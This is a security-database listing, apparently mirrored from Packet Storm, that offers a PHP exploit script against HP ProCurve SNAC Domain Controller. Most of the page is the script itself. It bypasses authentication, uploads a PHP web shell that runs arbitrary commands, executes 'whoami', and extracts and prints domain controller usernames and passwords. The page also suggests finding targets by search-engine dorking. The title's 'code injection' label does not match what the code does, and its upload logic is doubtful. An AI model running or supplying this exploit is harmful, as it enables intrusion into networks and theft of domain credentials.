Lucene search
K

📄 HP ProCurve SNAC Domain Controller Shell Upload

🗓️ 24 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 138 Views

PHP code injection exploit in HP ProCurve SNAC Domain Controller allows authentication bypass and credential access.

Code
=============================================================================================================================================
    | # Title     : HP ProCurve SNAC Domain Controller PHP Code Injection Vulnerability                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://support.hpe.com/hpesc/public/docDisplay?docId=c02619966&docLocale=en_US                                             |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Exploiting an authentication bypass vulnerability to obtain Domain Controller Credentials in HP ProCurve SNAC.
    	
    	( https://packetstorm.news/files/id/180690/ )
    	
    [+] save code as poc.php.
    
    [+] Set Target : line 129
    
    [+] USage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    
    class HPSNACExploit {
        private $target;
        private $port;
        private $cookie;
    
        public function __construct($target, $port = 443) {
            $this->target = $target;
            $this->port = $port;
        }
    
        private function sendRequest($url, $useCookie = false) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://{$this->target}:{$this->port}$url");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            
            if ($useCookie && $this->cookie) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: {$this->cookie}"]);
            }
            
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        public function getSession() {
            $response = $this->sendRequest("/RegWeb/html/snac/index.html");
            preg_match('/Set-Cookie: (.*?);/', $response, $matches);
            
            if (!empty($matches[1])) {
                $this->cookie = $matches[1];
                return true;
            }
            return false;
        }
    
        public function getDomainInfo() {
            return $this->sendRequest("/RegWeb/RegWeb/GetDomainControllerServlet", true);
        }
    
        public function parseDomainData($data) {
            $xml = simplexml_load_string($data);
            $results = [];
            
            foreach ($xml->Controllers->Domain as $domain) {
                $results[] = [
                    'dc_ip' => (string)$domain->domainControllerIP,
                    'port' => (string)$domain->port,
                    'service' => (string)$domain->connType,
                    'user' => (string)$domain->userName,
                    'password' => (string)$domain->password
                ];
            }
            return $results;
        }
    
        public function uploadShell() {
            $shellContent = "<?php system(\$_GET['cmd']); ?>";
            $uploadUrl = "/RegWeb/uploads/shell.php";
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://{$this->target}:{$this->port}$uploadUrl");
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, ["file" => $shellContent]);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            
            $response = curl_exec($ch);
            curl_close($ch);
            
            if (strpos($response, "success") !== false) {
                echo "[+] Web shell uploaded successfully: https://{$this->target}/RegWeb/uploads/shell.php?cmd=whoami\n";
            } else {
                echo "[-] Failed to upload web shell.\n";
            }
        }
    
        public function executeCommand($cmd) {
            $url = "/RegWeb/RegWeb/ExecuteCommandServlet?cmd=" . urlencode($cmd);
            $response = $this->sendRequest($url, true);
            echo "[+] Command Output: \n$response\n";
        }
    
        public function exploit() {
            echo "[*] Trying to get session...\n";
            if (!$this->getSession()) {
                echo "[-] Failed to get a valid session.\n";
                return;
            }
            
            echo "[*] Exploiting authentication bypass...\n";
            $domainInfo = $this->getDomainInfo();
            
            if (!$domainInfo || strpos($domainInfo, 'domainName') === false) {
                echo "[-] Target is not vulnerable.\n";
                return;
            }
            
            echo "[*] Uploading web shell...\n";
            $this->uploadShell();
            
            echo "[*] Executing command: whoami\n";
            $this->executeCommand("whoami");
            
            echo "[*] Parsing domain controller credentials...\n";
            $credentials = $this->parseDomainData($domainInfo);
            
            if (empty($credentials)) {
                echo "[!] No domain controllers found.\n";
                return;
            }
            
            echo "\nDomain Controllers Credentials:\n";
            echo "-------------------------------------\n";
            foreach ($credentials as $cred) {
                echo "DC IP: {$cred['dc_ip']}\n";
                echo "Username: {$cred['user']}\n";
                echo "Password: {$cred['password']}\n";
                echo "-------------------------------------\n";
            }
        }
    }
    
    // Usage example
    $target = "192.168.1.1"; // استبدل بعنوان IP الهدف
    $exploit = new HPSNACExploit($target);
    $exploit->exploit();
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation